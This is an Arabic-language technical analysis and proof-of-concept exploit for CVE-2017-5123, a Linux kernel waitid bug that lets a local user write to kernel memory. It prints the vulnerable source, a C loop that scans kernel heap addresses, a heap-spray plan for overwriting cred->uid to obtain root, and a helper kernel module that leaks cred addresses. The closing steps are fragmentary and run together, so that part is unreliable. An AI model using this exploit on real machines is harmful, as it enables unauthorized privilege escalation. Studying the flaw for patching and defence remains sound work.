
تحليل تقني مفصّل واستغلال إثبات المفهوم لثغرة CVE-2017-5123، وهي ثغرة في استدعاء نظام waitid في نواة لينكس تتيح تصعيد الامتيازات محليًا عبر غياب فحص access_ok().
استدعاء النظام waitid في نواة لينكس لم يتحقق من صحة العنوان الهدف المستخدم. قد يسمح هذا لمستخدم محلي بالكتابة في ذاكرة النواة، مما قد يؤدي إلى تصعيد الامتيازات على الجهاز أو الهروب من وضع الحماية.
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // bản chất là gọi clac(), bật lại SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
الخطأ المحدد هنا هو عدم وجود فحص access_ok() قبل استدعاء الدالة unsafe_put_user(). في إصدارات kernel السابقة، كان البرنامج يستخدم الدالة put_user()، وهذه الدالة تتضمن أيضًا استدعاء فحص access_ok().
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
باستخدام الدالة unsafe_put_user()، يتجنب البرنامج الاضطرار إلى تشغيل وإيقاف SMAP بشكل متكرر خلال فترة قصيرة بسبب استدعاء user_access_begin() / user_access_end(). تقوم دالة access_ok() هنا بالتحقق من صحة العنوان ptr، وتضمن أنه يقع ضمن ذاكرة المستخدم، وتمنع المستخدم من الكتابة إلى ذاكرة kernel. إذن، إذا استدعينا syscall waitid وكانت وسيطة infop عنوانًا في kernel، فسيؤدي ذلك إلى تفعيل هذه الثغرة.
غياب فحص access_ok() يسمح لنا بتمرير عنوان kernel عبر وسيطة infop الخاصة بـ waitid، وبعدها سيقوم syscall بالكتابة فوق هذا العنوان عبر استدعاء unsafe_put_user(). أحد القيود هنا هو أننا لا نستطيع التحكم في ما سيتم كتابته إلى عنوان kernel الذي نقدمه. هناك 6 حقول تُستخدم للكتابة: signo، وnull byte، وinfo.cause، وinfo.pid بقيمة قصوى 0x8000، وinfo.uid، وinfo.status الذي على الرغم من كونه من نوع int32 إلا أنه يحمل قيمة > 0 و < 256. الحقل الأكثر فائدة هنا على الأرجح هو null byte. يمكننا استخدامه للكتابة فوق cred->euid وcred->uid. للقيام بذلك، نحتاج إلى معرفة عنوان هاتين القيمتين.
وفقًا لـ kernel.org، فإن عنوان Kernel-space virtual memory المشترك بين جميع العمليات يبدأ من 0xffff800000000000، لكن النطاق من 0xxffff800000000000 إلى 0xffff87ffffffffff هو "guard hole، وهو محجوز أيضًا لـ hypervisor"، لذا سنبدأ مسح الذاكرة من العنوان 0xffff880000000000. وتجدر الإشارة أيضًا إلى أن قدرتنا على مسح الذاكرة تعود إلى أن unsafe_put_user() لا تتعطل عند الوصول إلى عناوين غير صالحة. وهذا يساعد على منع المستخدمين غير المميزين من تنفيذ DoS على النظام عبر تمرير عناوين غير صالحة.
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

الآن بعد أن عرفنا عنوان kernel heap، ستكون الخطوة التالية هي تحديد عنوان cred struct.
على الرغم من معرفتنا بعنوان kernel heap، إلا أن هذا العنوان قد لا يكون عنوان بداية heap. لذلك لا يمكننا حساب العنوان الدقيق لـ Cred struct. عندها نستخدم تقنية تُسمى heap spray.
geteuid()؛ إذا كانت القيمة المُعادة 0، فهذا يعني أن العملية تعمل بصلاحيات root -> bingo.waitid() مستغلة الثغرة، ثم تخمين عنوان cred struct والكتابة فوق cred->uid لتصبح null.يستغرق تصحيح الأخطاء للعثور على عنوان cred struct الخاص بالعمليات الفرعية وقتًا طويلًا، لذا استخدمت وحدة نمطية جاهزة لطباعة عنوان cred->euid عبر printk().
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

لاحظت وجود عناوين متشابهة في النمط، وحتى بعد إعادة تشغيل النظام، تظل إزاحات هذه العناوين متشابهة. لذلك قررت اختيار عنوان واحد ثم إضافة pagesize في حلقة تكرارية لتخمين عنوان cred struct.

فيديو توضيحي للاستغلال
heap addr founded + offset، ويجب تقليل الإزاحة إلى قيمة أصغر لتكون قابلة للاستخدام مع عدة إصدارات. لكن هذا يعني وقت هجوم أطول، ويزيد من احتمالية تعرض kernel للـ panic/crash بسبب إمكانية الكتابة فوق بنى مهمة أخرى في heap.access_ok()